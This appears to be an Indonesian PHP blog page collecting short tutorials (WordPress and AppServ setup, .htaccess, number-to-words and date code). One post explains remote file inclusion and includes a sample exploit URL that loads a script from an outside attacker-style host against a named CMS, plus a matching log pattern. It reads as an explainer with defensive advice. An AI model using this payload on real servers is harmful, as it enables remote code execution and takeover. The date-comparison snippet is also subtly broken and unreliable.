Instalasi WordPress Offline

Untuk menginstalasi WordPress di local komputer Anda harus mempersiapkan dan menginstal salah satu dari bundle Web Server Apache, PHP, MySQL  dikomputer kita. Nah, pada bahasan sebelumnya kita telah belahar untuk install web server menggunakan AppServ 2.5.9.  Setelah berhasil install web server, sekarang kita install wordpress via web browser. Ok silahkan baca langkah – langkah di bawah ini :

1. Instalasi Paket Web Server

Setelah Anda melakukan instalasi dari paket diatas, selanjutnya buka browser favorit Anda, lalu pada Adressbar ketikkan http://localhost/phpmyadmin untuk membuat database. Continue reading

Instalasi Web Server (AppServ) di Windows

Sifat Open Source yang dimiliki PHP, membuat bahasa pemrograman yang satu ini semkain marak digunakan oleh berbagai kalangan untuk  mengembangkan aplikasi berbasis WEB. Tidak hanya aplikasi yang dihasilkan dari PHP, tool untuk pemrograman PHP pun juga marak dikembangkan. Sebut saja AppServ, adalah sebuah paket pengembangan aplikasi PHP yang lengkap, terdiri dari WEB SERVER, DATABASE SERVER, FTP SERVER dan E-MAIL SERVER. Dengan adanya paket ini, kita tidak perlu lagi susah – susah untuk melakukan instalasi server – server tersebut, cukup dengan next and next kita bisa menggunakan paket ini untuk pengembangan aplikasi berbasis web. 🙂

Ok, untuk bagaimana langkah – langkah AppServ, silahkan baca di bawah ini : Continue reading

enable .htaccess in localhost

Terkadang kita ingin menggunakan .htaccess file pada localhost / webserver kita, namun tidak berhasil sesuai dengan yang kita inginkan. Kadang muncul pesan Error 500 Bad Request dan sebagainya. Untuk mengatasi hal ini dan .httaccess Anda berjalan sebagaimana mestinya. Silahkan buka file httpd.conf kemudian cari text ” AllowOverride None ” ubah dengan ” AllowOverride All “. Setelah itu cari text ” #LoadModule rewrite_module modules/mod_rewrite.so ” ubah dengan ” LoadModule rewrite_module modules/mod_rewrite.so “. Lalu silahkan restart Apache Anda. Dan jalankan situs lokal Anda yang terdapat .htaccess filenya. Lihat apa yang terjadi, berhasil dengan baik kan ? 🙂

Terima Kasih,,, hehehehe

Fungsi Terbilang ( Angka Menjadi Kata ) dengan PHP

Sebelumnya aku pernah bahas tentang hal ini ” Fungsi mengubah sejumlah Angka menjadi kata – kata ” memakai Pemrograman Java. Tapi yang sebelumnya itu lebih panjang scriptnya, ni aku mau share lagi dengan script yang lebih ringkas namun menggunakan PHP.  Berikut source codenya :

<?
class angkaTerbilang {
  function baca($n) {
    $this->dasar = array(1 => 'satu', 'dua', 'tiga', 'empat', 'lima', 'enam','tujuh', 'delapan', 'sembilan');
    $this->angka = array(1000000000, 1000000, 1000, 100, 10, 1);
    $this->satuan = array('milyar', 'juta', 'ribu', 'ratus', 'puluh', '');

    $i = 0;
    if($n==0){
       $str = "nol";
    }else{
       while ($n != 0) {
          $count = (int)($n/$this->angka[$i]);
	  if ($count >= 10) {
	      $str .= $this->baca($count). " ".$this->satuan[$i]." ";
	  }else if($count > 0 && $count < 10){
	      $str .= $this->dasar[$count] . " ".$this->satuan[$i]." ";
	  }
	  $n -= $this->angka[$i] * $count;
	  $i++;
       }
       $str = preg_replace("/satu puluh (\w+)/i", "\\1 belas", $str);
       $str = preg_replace("/satu (ribu|ratus|puluh|belas)/i", "se\\1", $str);
    }
    return $str;
  }
}

$terbilang = new angkaTerbilang();
print $terbilang->baca(123456789);
// outputnya adalah seratus dua puluh tiga juta empat ratus lima puluh enam ribu tujuh ratus delapan puluh sembilan
?>

Nah, sekian  script PHP nya, untuk penjelasan scriptnya, silahkan tanya aja yang ndak ngerti yang mana, atau bisa juga googling … 😀 . Selamat Mencoba, terima kasih.

PHP Injection

Remote file inclusion dapat diartikan sebagai penyisipan sebuah file dari luar suatu file dalam sebuah webserver dengan tujuan script didalam akan dieksekusi pada saat file yang disisipi di-load. Tehnik ini sendiri mengharuskan webserver yang bersangkutan mampu menjalankan server side scripting (PHP, ASP, etc) serta file yang disisipi dibuat menggunakan bahasa script tersebut. Target remote file inclusion biasanya berbentuk sebuah portal atau content management system (CMS) sehingga banyak sekali jumlah website yang rawan terhadap serangan tipe ini.

Dalam artikel ini kita akan lebih banyak membahas bagaimana proses file inclusion (yang selanjutnya kita sebut dengan istilah ‘injeksi’) bisa terjadi dalam bahasa PHP.

° BAGAIMANA BISA TERJADI ?

Sebuah serangan file inclusion terjadi didasarkan pada kesalahan atau ketidaksengajaan pendeklarasian variabel-variabel dalam sebuah file. Sebuah variabel yang tidak dideklarasikan atau didefinisikan secara benar dapat di eksploitasi. Syarat terjadinya injeksi sendiri terdiri dari:

1. Variabel yang tidak dideklarasikan dengan benar (unsanitized variables)

Variabel dalam PHP mempunyai sintaks:

#1 include ($namavariable. “/file…”)
#2 require_once ($namavariable. /file…)
#3 include_once ($variable. /file…)

Misalnya kita memiliki sebuah file bernama jscript.php dan didalamnya terdapat variabel seperti ini:


include($my_ms[”root”].’/error.php’);

Variabel tersebut memiliki kemungkinan untuk disisipi file dari luar webserver dengan eksploit script injeksi PHP:

http://www.target.com/[Script Path]/jscript.php?my_ms[root]=http://www.injek-pake-kaki.com/script?

Diatas adalah contoh eksploitasi MySpeach < = v3.0.2 (my_ms[root])

2. Setting dalam file PHP.ini

#1. register_globals=On
#2. magic_quotes=off
#3. allow_fopenurl=on

° BERBAHAYAKAH ?

File inclusion memiliki level resiko tinggi (High Risk) bahkan level sangat berbahaya (Very Dangerous) karena injeksi memperkenankan pelakunya untuk melakukan eksekusi perintah jarak jauh (Remote Commands Execution) terhadap server. Tindakan ini sangat membahayakan bagi sebuah server jika pelakunya mencoba untuk mendapatkan hak akses lebih tinggi dengan cara melakukan eksploitasi lokal, sehingga bisa saja pelaku mendapatkan akses administrator atau root.

Secara garis besar resiko serangan ini adalah:

1. Web root folder / subdirectory defacing.
2. Previledge escalation (mendapatkan hak akses lebih tinggi).
3. Menjalankan proses dalam server (psyBNC, bots, dsb)
4. Pilfering a.k.a pencurian data (such as credentials information, credit cards, etc..)
5. Dan banyak lagi…!!! Termasuk tindakan pengambilalihan server dan ddos!

° SISTEM OPERASI APA YANG KEBAL ?

Saya teringat permainan C&C Generals (my fave game!) saat seorang hacker keluar dari barak. Mereka mengucapkan “NO SYSTEMS IS SAFE!”. Tepat sekali! Tidak ada sistem operasi yang aman dari serangan injeksi selama mereka menggunakan server side scripting yang dapat dieksploitasi, tak peduli apakah itu Microsoft Windows, LINUX, FreeBSD, Solaris, Darwin OS, dan lain-lainnya.

° APA YANG HARUS DILAKUKAN ?

Banyak sekali portal dan komunitas white hat yang sering merilis bugs terbaru seputar injeksi. Cara paling aman adalah selalu memperhatikan perkembangan yang mereka lakukan sehingga anda dapat melakukan sedikit perbaikan yang berarti terhadap CMS yang mungkin sekarang anda gunakan. Selalu perhatikan raw log yang biasanya terdapat pada layanan hosting anda. Jika terdapat fetching yang agak menyimpang seperti GET /index.php?page=http://www.injek-pake-kaki.net/cmd? anda wajib curiga, karena bisa saja ini serangan terhadap web atau portal yang anda kelola.

Salah satu tehnik paling aman bagi seorang administrator adalah selalu memperhatikan usaha-usaha infiltrasi dan usaha eksploitasi lokal. Gunakan firewall guna mencegah penyusupan orang-orang yang tidak bertanggung jawab dan memperhatikan port-port server yang sedang terbuka.

° ENDING

Artikel ini saya tulis berdasarkan apa yang saya ketahui, dan jika terdapat kesalahan karena ketidaktahuan saya anda dapat menghubungi saya lewat email. Pengalaman adalah guru yang terbaik untuk kita semua. Semua bisa saja terjadi karena tidak ada pribadi yang diciptakan sempurna. Nobody is perfect! No systems is safe!

° REFERENSI

– http://net-square.com/papers/one_way/one_way.html
– www.milw0rm.com (Bagus buat exploit bug)
– www.google.com (Dukun Internet )

Animated Captcha

Captcha merupakan singkatan dari “Completely Automated Public Turing test to tell Computers and Humans Apart” ( Wikipedia ). dan dibuat untuk membedakan antara mesin  dan manusia dengan cara mem-validasi sebuah inputan.

Captcha = Gambar Samar – Samar
Simpelnya, Captcha merupakan sebuah gambar (image) / kombinasi character yang berisi Angka / Teks atau kombinasi Angka & teks yang disamarkan bentuk & rupanya sehingga memerlukan ketelitian dari pengunjung / orang yang ingin melakukan inputan data disebuah website.

Tujuan utama dari captcha adalah untuk mencegah spammer yang biasanya mengirimkan pesan secara otomatis pada suatu web atau email. Salah satu layanan captcha yang terkenal adalah Re-Captcha. Re-Captcha merupakan layanan perlindungan spam yang unik, dilengkapi dengan fitur suara. Perlu kalian ketahui juga kode yang ditampilkan diambil dari beberap buku lama, saya sendiri juga tidak tahu buku seperti apa. Makanya terkadang character captcha susah ditebak. Namun tidak semua captcha ditampilkan dalam bentuk teks unik atau gambar. Ada beberapa diantaranya hanya menggunakan huruf dan angka yang diacak. Seperti contoh kali ini, saya ingin berbagi pengetahuan untuk membuat captcha yang agak berbeda, berbedanya adalah Captcha ini characternya bergerak ( animasi ) / animated captcha. Hasilnya nanti akan nampak seperti gambar di bawah  ini.

Animated Captcha

Animated Captcha

Maaf, saya ndak jelasin dengan rinci tentang source captcha ini, soalnya ni waktunya mepet. Duit ndak cukup :(. Kalian download aja di sini

Compare 2 Buah Tanggal

Teman, kali ni aku mau bagi cara biar gimana kita bisa membandingkan antara 2 tanggal yang berbeda menggunakan PHP. Jadi kita nentuin mana yang lebih besar atau yang lebih kecil.

Ni ya mulai …

<?php
$tanggalExpired = “2006-01-16”;
$tanggalSekrang = date(“Y-m-d”);
$exp_tanggal = strtotime($tanggalExpired);
if($exp_tanggal > $tanggalSekrang) // lebih besar
echo “Ya”;
else
echo “Tidak”;
?>

Menghitung Jarak Antara 2 Tanggal

Jika kita menghitung secara manual berapa hari usia kita, pasti kita pusing 7 keliling kayak orang lagi tawaf :p , ngapain juga ngitung usia dalam hari. Biasanya kita mikir simple aja, usiaku hari ini 20 tahun 6 bulan. Tapi demi sebuah kreatifitas gak apa kan kita ngitung jumlah hari yang sudah kita lewati. Tentu ngitungnya ya ndak manual, mari implementasikan kreatifitas Anda dalam sistem.

Namun kali ini saya mau bahas untuk jarak di dalam tahun yang sama dulu. Misal berapa jarak hari antara 16-10-2009 dengan 1-3-2009 ? Kalo ngitung manual kelamaan teman …

Algoritmanya gini …

  • Jarak 16-10-2009 sampai 1-10-2009 ( Jarak sampai awal bulan )
  • Jarak 1-3-2009 sampai 1-4-2009 ( Jarak sampai awal bulan di atasnya )

Cek tahun kabisat, jumlah hari dalam 1 bulan apakah 29,30 atau 31

Sekian penjelasan Algortimanya, untuk lebih memahaminya silahkan download source code nya di sini. ( PHP )

Untuk source code penghitungan jarak berbeda tahun silahkan download di sini ( Java ) by : Yeremia

Semoga bermanfaat …

Mengetahui Alamat URL Yang Sedang Aktif

function currentPageURL(){
$pageURL = 'http';
if ($_SERVER["HTTPS"] == "on") {$pageURL .= "s";}
$pageURL .= "://";
if ($_SERVER["SERVER_PORT"] != "80")
$pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
else
$pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];

return $pageURL;
}